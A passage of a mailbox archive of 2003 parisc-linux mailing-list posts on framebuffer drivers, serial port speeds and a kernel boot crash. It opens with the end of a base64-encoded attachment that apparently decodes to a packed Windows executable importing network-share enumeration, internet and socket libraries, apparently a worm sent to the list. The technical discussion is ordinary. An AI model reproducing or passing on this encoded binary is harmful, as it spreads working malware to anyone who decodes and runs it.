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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA
kAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACAAAAAAAAAAAAAAAAAAAABAAkEAABY
AAAA1PAEAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAJBAAAgAAAAMDzBAAoAQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAEAaQAAAKgAAIAAAAAAAAAAAAAAAAAAAAEACQQAAMAAAADs9AQAIgAA
AAAAAAAAAAAA0MAEACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD/
//8AAAAAAAAAAAAAAAAAAAAAAAAId3d3d3d3d3d3d3BwAAAAj//////////////3BwAAAI//////
////////9wcAAACP8AAAD/////////cHAAAAj//////////////3BwAAAI/wAAAP////////9wcA
AACP//////////////cHAAAAj//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP////////
//////cHAAAAj/AAAAAAAAAAAA/3BwAAAI//////////////9wcAAACP8AAAAAAAAAAAD/cHAAAA
j//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP//////////////cHAAAAj///////////
///3BwAAAI/wAAAP////////9wcAAACP//////////////cHAAAAj//////////////3BwAAAI//
////////////9wcAAACP8AAAD/////////cHAAAAj//////////////3BwAAAI/wAAAP////DwAP
9wcAAACP//////////////cHAAAAj//////////////3BwAAAI//////////////9wcAAACPD/D/
D/D/D/D/D/gHAAAAjw/w/w/w/w/w/w/4BwAAAAj4j4j4j4j4j4j4j4AAAAAAAAAAAAAAAAAAAAAA
AADwAAAf4AAAD8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAA
B8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAH
wAAAB8AAAAfgAAAP8kkkv7jDBAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A
/wD//wAA////AAAAAAAAAAAAh3d3d3d3AACP//////cAAI//////9wAAj/AAAA/3AACP//////cA
AI/wAAAP9wAAj//////3AACP8AAAD/cAAI//////9wAAj/AA8A/3AACP//////cAAI//////9wAA
jw8PDw8PAAAA+Pj4+PAAAAAAAAAAAAAAgA8AAAAHAAAABwAAAAcAAAAHAAAABwAAAAcAAAAHAAAA
BwAAAAcAAAAHAAAABwAAAAcAAAAHAACADwAA1V8AAODEBAAAAAEAAgAgIBAAAQAEAOgCAAABABAQ
EAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADU9QQAnPUEAAAAAAAAAAAAAAAAAOH1BACs9QQAAAAA
AAAAAAAAAAAA7vUEALT1BAAAAAAAAAAAAAAAAAD29QQAvPUEAAAAAAAAAAAAAAAAAAH2BADE9QQA
AAAAAAAAAAAAAAAADfYEAMz1BAAAAAAAAAAAAAAAAAAAAAAAAAAAABj2BAAm9gQANvYEAAAAAABE
9gQAAAAAAFL2BAAAAAAAYvYEAAAAAABu9gQAAAAAADQAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQ
STMyLmRsbABNUFIuZGxsAFVTRVIzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbAAAAExvYWRM
aWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnT3BlbktleUEAAABXTmV0
T3BlbkVudW1BAAAAd3NwcmludGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
--#GMJGP63966#--


From - Thu Nov 08 21:28:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: HP C180 video card
Date: Mon, 16 Jun 2003 12:07:02 +0200
Lines: 102
Approved: news@gmane.org
Message-ID: <3ED725B100003425@ocpmta8.freegates.net>
References: <20030615161948.GA12995@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622516 26713 80.91.229.3 (22 Nov 2014 02:15:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Joel Soete" <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 16 04:07:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F9CF4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jun 2003 04:07:05 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19Rqrz-0007gf-00; Mon, 16 Jun 2003 12:05:47 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 16 Jun 2003 12:07:02 +0200
In-Reply-To: <20030615161948.GA12995@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18673

>>
>>On Sun, Jun 15, 2003 at 04:11:46PM +0000, Joel Soete wrote:
>> I tried to use a "PGX64 alias Rage xl " pluged in the first slot of my

>> b180L. It seems to be well supported by kernel 2.4.21 (modeprobe 
>> ati128fb; # modules were well loaded).

# lsmod
Module                  Size  Used by    Not tainted
aty128fb               20244   0  (unused)
fbcon-cfb32             5956   0  [aty128fb]
fbcon-cfb8              5244   0  [aty128fb]
fbcon-cfb24             5876   0  [aty128fb]
fbcon-cfb16             5828   0  [aty128fb]

>cool - that's a good first step. I don't know where to go from there.
>
>> But no success to make XFree86 
>> works (fbset /dev/fb0 not found)

>Maybe it's as simple as "mknod /dev/fb0 ..." ?

I do it (rm /dev/fb*; cd /dev ; MAKEDEV fb; fb* were well rebuild) but no
more success?

>> if the driver loads without complaining, I'd expect fbset command
>> to work too.

Hope so too.

Even "cat /proc/fb" don't show me anything?

>> and even when I change console path to 
>> graphics(1[a]) I never reach to obtain boot prompt on the screen (which

>> never seems to recieve init signal?).
>
>PDC/IODC/STI won't know anything about the Rage XL card.
>There's no way you can use that as a console.

Ok so I swicth to "path con serial_1"

>> I do not understand, it seems to be a common pci gfx card? any idea?

>I don't either really. Just guessing.

Just in case some more X(pert) read this mail, here is some more info:

root@fw02:/CVS/SRC.TMP# lspci
00:01.0 VGA compatible controller: ATI Technologies Inc Rage XL (rev 27)
00:02.0 Serial controller: Equinox Systems, Inc.: Unknown device 90f0 (rev
04)
...

/var/log/XFree86.0.log:
[...]
(WW) Open APM failed (/dev/apm_bios) (No such file or directory)
(II) PCI: PCI scan (all values are in hex)
(II) PCI: 00:01:0: chip 1002,4752 card 0000,0000 rev 27 class 03,00,00 hdr
00
(II) PCI: 00:02:0: chip 113f,90f0 card 0000,0000 rev 04 class 07,00,80 hdr
00
(II) PCI: 00:13:0: chip 1000,000f card 0000,0000 rev 04 class 01,00,00 hdr
00
(II) PCI: 00:14:0: chip 1011,0019 card 103c,104f rev 41 class 02,00,00 hdr
00
(II) PCI: End of PCI scan
(II) Host-to-PCI bridge:
(II) Bus 0: bridge is at (0:0:0), (-1,0,0), BCTRL: 0x00 (VGA_EN is cleared)
(II) Bus 0 I/O range:
        [0] -1 0        0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 0 non-prefetchable memory range:
        [0] -1 0        0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 0 prefetchable memory range:
        [0] -1 0        0x00000000 - 0xffffffff (0x0) MX[B]
(--) PCI:*(0:1:0) ATI Mach64 GR rev 39, Mem @ 0xf1000000/24, 0xf0fec000/12,
I/O @ 0xfd00/8, BIOS @ 0xf0f80000/17
(II) Addressable bus resource ranges are
        [0] -1 0        0x00000000 - 0xffffffff (0x0) MX[B]
        [1] -1 0        0x00000000 - 0x0000ffff (0x10000) IX[B]
[...]
(II) FBDEV: driver for framebuffer: fbdev
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
(II) Primary Device is: PCI 00:01:0
(EE) open /dev/fb0: No such device
(EE) No devices detected.

Fatal server error:
no screens found


Thanks for your attention,
    Joel


---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:28:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial port problem.
Date: Mon, 16 Jun 2003 06:58:33 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <03061606583300.00942@wolf686>
References: <E19RXnb-0000LH-00@tyrann>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622516 26715 80.91.229.3 (22 Nov 2014 02:15:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:16 +0000 (UTC)
To: Eric Huiban <grompf@grompf.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 16 06:07:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 983954829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jun 2003 06:07:54 -0600 (MDT)
Original-Received: (qmail 27642 invoked by uid 0); 16 Jun 2003 12:07:50 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.16 
 (spamassassin: enabled.   Clear:SA:0(-2.5/6.9):. 
 Processed in 1.317383 secs); 16 Jun 2003 12:07:50 -0000
X-Spam-Status: No, hits=-2.5 required=6.9
Original-Received: from unknown (HELO wolf686) (66.90.216.111)
  by mail.goquest.com with SMTP; 16 Jun 2003 12:07:49 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <E19RXnb-0000LH-00@tyrann>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18674

On Sunday 15 June 2003 08:43 am, Eric Huiban wrote:
> Hi all,
>
> I just need to install an 'old' modem (USR Sportster V34) on a freshly
> installed HP 9000/730. Using minicom i only managed to communicate
> with the modem up to 19200bps. I'm using ttyS0 as backup console port and
> ttyS1 as modem port.
>
> here is the content of my serial.conf generated during the debian
> installation :
>
> ###PORT STATE GENERATED USING AUTOSAVE-ONCE###
> ###AUTOSAVE-ONCE###
> ###AUTOSAVE###
> #
> [snip : comments]
> /dev/ttyS0 uart 16550A port 0x0000 irq 90 baud_base 454545 spd_vhi
> /dev/ttyS1 uart 16550A port 0x0000 irq 89 baud_base 454545 spd_vhi
>
> Is there something specific to the HP 9000 computers , or just a little
> something i missed somewhere ?
>
Such as a UART speed limit?
Depends on the model, but on some older machines, 19200 is all you get.
Subject has come up on the mailing list before; info should be in the
ML archives.

Mike
>
> Thant you all !
>
> Eric Huiban, aka Grompf.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:28:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5.71-pa1 do_sigaction problem
Date: Mon, 16 Jun 2003 18:09:57 +0000 (UTC)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306161754180.10327@e0-0.zab2.int.zabbadoz.net>
References: <200306160314.h5G3E2SF003545@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622517 26717 80.91.229.3 (22 Nov 2014 02:15:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 16 12:21:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1FB3D4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jun 2003 12:21:17 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 3F0B21FFFB9; Mon, 16 Jun 2003 20:21:15 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 346281FFFBA; Mon, 16 Jun 2003 20:21:13 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 08D0D154FD; Mon, 16 Jun 2003 18:09:57 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id F2D1D15395; Mon, 16 Jun 2003 18:09:57 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <200306160314.h5G3E2SF003545@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18675

On Sun, 15 Jun 2003, John David Anglin wrote:

Hi,

> >  IAOQ[0]: __canonicalize_funcptr_for_compare+0x38/0x134
> >  IAOQ[1]: __canonicalize_funcptr_for_compare+0x3c/0x134
> >  RP(r2): do_sigaction+0xe0/0x290
>
> Fixes for this have been discussed on the list several times before.

thanks. I was right saying I had this before. fixed my .69 with one of
the suggestions from may I guess and forgot to add the patch to my
patchlist.

Anyway there is still no solution to this from what I can see. People
always compile kernels and bump -paX but from what I can see the
kernel won't boot up. So how can they test it ? How do they get a
bootable kernel ?

If I remember on solution was adding (void *) casts to all those
function pointer compares but that was not take a solution as Linus
wouldn't accept s.th. like this.
Then there was the solution with the EXPORT_SYMBOL (I think that one
worked for me).

Are you all patching your kernels ? Why not commit one of the fixes
- at least temporary - to p-l.o cvs ?

What didn't I get now ?

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:28:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5.71-pa1 do_sigaction problem
Date: Mon, 16 Jun 2003 20:27:47 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030616192747.GD30843@parcelfarce.linux.theplanet.co.uk>
References: <200306160314.h5G3E2SF003545@hiauly1.hia.nrc.ca> <Pine.BSF.4.53.0306161754180.10327@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622517 26728 80.91.229.3 (22 Nov 2014 02:15:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:17 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 16 13:27:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 426874829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jun 2003 13:27:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19Rzdr-0005H7-3I; Mon, 16 Jun 2003 20:27:47 +0100
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.53.0306161754180.10327@e0-0.zab2.int.zabbadoz.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18676

On Mon, Jun 16, 2003 at 06:09:57PM +0000, Bjoern A. Zeeb wrote:
> Anyway there is still no solution to this from what I can see. People
> always compile kernels and bump -paX but from what I can see the
> kernel won't boot up. So how can they test it ? How do they get a
> bootable kernel ?

two things ... i think one is that most people aren't testing 2.5 yet.
another is that most people are still on gcc-3.0.  indeed, gcc-3.2 and
later are not suitable for generating a kernel since it does not respect
the __aligned__ attribute on stack allocations.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
